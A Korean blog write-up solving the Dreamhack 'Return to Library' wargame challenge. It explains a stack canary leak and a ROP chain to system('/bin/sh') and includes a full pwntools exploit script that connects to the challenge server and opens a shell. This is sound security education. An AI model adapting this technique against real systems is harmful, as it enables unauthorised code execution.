[드림핵] Return to Library
A A

문제: https://dreamhack.io/wargame/challenges/353

 

Return to Library

Description Exploit Tech: Return to Library에서 실습하는 문제입니다.

dreamhack.io

 

📍 보호기법

 

amd64, 카나리 있음, NX 있음, PIE 없음

 

📍 소스코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

 

[1] Leak Canary

사용자 입력을 0x100바이트만큼 받아 0x30바이트 크기의 buf에 저장한다. (BOF 취약점)

buf의 값을 printf의 %s 형식지정자로 널 바이트를 만날 때까지 출력한다.

 

[2] Overwrite return address

사용자 입력을 0x100바이트만큼 받아 0x30바이트 크기의 buf에 저장한다.

 

main에서 system() 함수를 사용하고 있어 PLT에 주소가 올라가 있다는 것을 알 수 있다.

 

NX 보호기법이 활성화되어 있으므로 셸코드는 주입할 수 없고,

PLT 테이블에 올라와 있는 system 함수의 주소로 리턴주소를 덮어보자.

 

 

📍 익스플로잇

공격 시나리오:

1. buf로부터 카나리까지의 offset 계산하기

2. [1]에서 offset+1만큼의 입력값을 주고, %s로 출력되는 카나리 값 받기

3. [2]에서 buf로부터 리턴주소까지 덮기

 

 

 

objdump 명령어를 활용해보자.

objdump는 GNU 바이너리 유틸리티의 일부로,

라이브러리, 컴파일된 오브젝트 모듈, 공유 오브젝트 파일, 독립 실행파일 등의 바이너리 파일들의 정보를 보여준다.

 

PLT 테이블 출력: objdump -d rtl

GOT 테이블 출력: objdump -R rtl

 

 

GOT 테이블에 저장된 system 함수의 주소는 0x601028이다.

 

 

 

buf의 주소는 [rbp-0x40]이고 카나리는 [rbp-0x8]에 있다.

 

아 참고로 0x40에서 0x8을 빼면 당연히 0x32가 아니라 0x38이다... ㅋㅋ 이걸로 몇십 분 버렸다 댕청~

 

 

다시 흐름을 정리해보면 이렇다.

1. buf로부터 카나리까지의 offset 계산하기 = 0x40 - 0x8 = 0x38

2. [1]에서 offset+1만큼의 입력값( = 0x38 + 0x1 )을 주고, %s로 출력되는 카나리 값 받기

3. [2]에서 buf로부터 리턴주소를 system 함수의 GOT 주소로 덮고, 인자로 binsh 주기

 

여기서 인자를 주려면 가젯이라는 게 필요하다고 한다.

가젯 없이 리턴주소만 덮으면 system 함수는 실행되는데, 인자값으로 의미없는 쓰레기값이 들어간다는 모양이다.

 

리턴 가젯은 ret 명령어로 끝나는 어셈블리 코드 조각을 의미한다.

함수를 호출할 때 첫 번째 인자는 rdi 레지스터에 들어가므로,

rdi의 값을 "/bin/sh"로 설정한 뒤 system 함수를 호출하면 system("/bin/sh")를 실행할 수 있을 것이다.

e = ELF("./rtl")
r = ROP(e)

prdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]

 

요렇게 찾으면 된다.

참고: 'pop rdi'로 찾아도, ret 명령어로 끝나는 코드 조각을 찾아주므로 실제 찾은 가젯은 pop rdi ; ret 형태이다.

 

 

최종 스크립트:

from pwn import *

p = remote("host3.dreamhack.games", 19900)
e = ELF("./rtl")
r = ROP(e)

system_plt = e.plt['system']
binsh = next(e.search(b'/bin/sh'))

prdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]

payload = b'A'*(0x40-0x8) + b'B'

p.sendafter("Buf: ", payload)
p.recvuntil(payload)

canary = u64(b'\x00' + p.recvn(7))

payload = b'A'*0x38
payload += p64(canary)
payload += b'B'*0x8

payload += p64(ret)
payload += p64(prdi)
payload += p64(binsh)
payload += p64(system_plt)

p.sendafter("Buf: ", payload)
p.interactive()

 

페이로드에 ret ➡️ prdi 순으로 넣는 이유는 스택 정렬을 맞추기 위해서이다.

glibc 2.27 이후부터는 movaps 명령을 쓰는 경우가 많은데,
그건 스택 포인터가 16바이트(0x10) 정렬되어 있어야 된다고 한다.

 

그런데 pop rdi ; ret 같은 가젯을 쓰면, 스택에 들어가는 건 8바이트 주소니까 스택이 8바이트만 이동한다.

그러면 스택 정렬이 깨져서 seg fault가 발생한다.

따라서 ret 가젯을 한 번 먼저 실행시켜서(더미 8바이트 값) rsp를 8바이트 더 올리고 16바이트 정렬을 맞춰 준다.

 

 

그리고 처음에 binsh의 주소를 찾을 때

binsh = e.symbols['binsh']

 

로 찾으려고 했었는데 나처럼 하면 안된다.

 

binsh는 포인터 변수라서, binsh에 있는 값은 "/bin/sh" 문자열이 아니고 어딘가의 주소값이다.

따라서 문자열 자체의 주소를 찾는 함수를 써야 한다. ⬇️

binsh = next(e.search(b'/bin/sh'))

 

 

 

 

드림핵 해설 보고 싶은 거 참느라 너무 힘들었다😎

 

🚩

 

 

추가:

$ ROPgadget --binary ./rtl --re "pop rdi"

 

이렇게 ROPgadget을 이용해서 가젯을 찾을 수도 있다고 한다.

--re 옵션을 쓰면 정규표현식으로 결과를 필터링할 수 있다.

 

 

 

참고: https://whitel0tus.tistory.com/18

 

pwntools

PRELIMINARY 서론 pwntools는 CTF를 위해 최적화된 기능들을 제공하는 python 라이브러리이다. 주어진 바이너리에 대해 분석하고, 호스트와 상호작용하는 등 다양한 작업을 수행할 수 있다. 다음 명령어

whitel0tus.tistory.com

 

'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글

[드림핵] struct person_t  (1) 2025.03.29
[드림핵] rop  (0) 2025.03.29
[드림핵] ssp_001  (0) 2025.03.27
[드림핵] Return to Shellcode  (0) 2025.03.26
[드림핵] basic_heap_overflow  (0) 2025.03.25
Copyright 2024. GRAVITY all rights reserved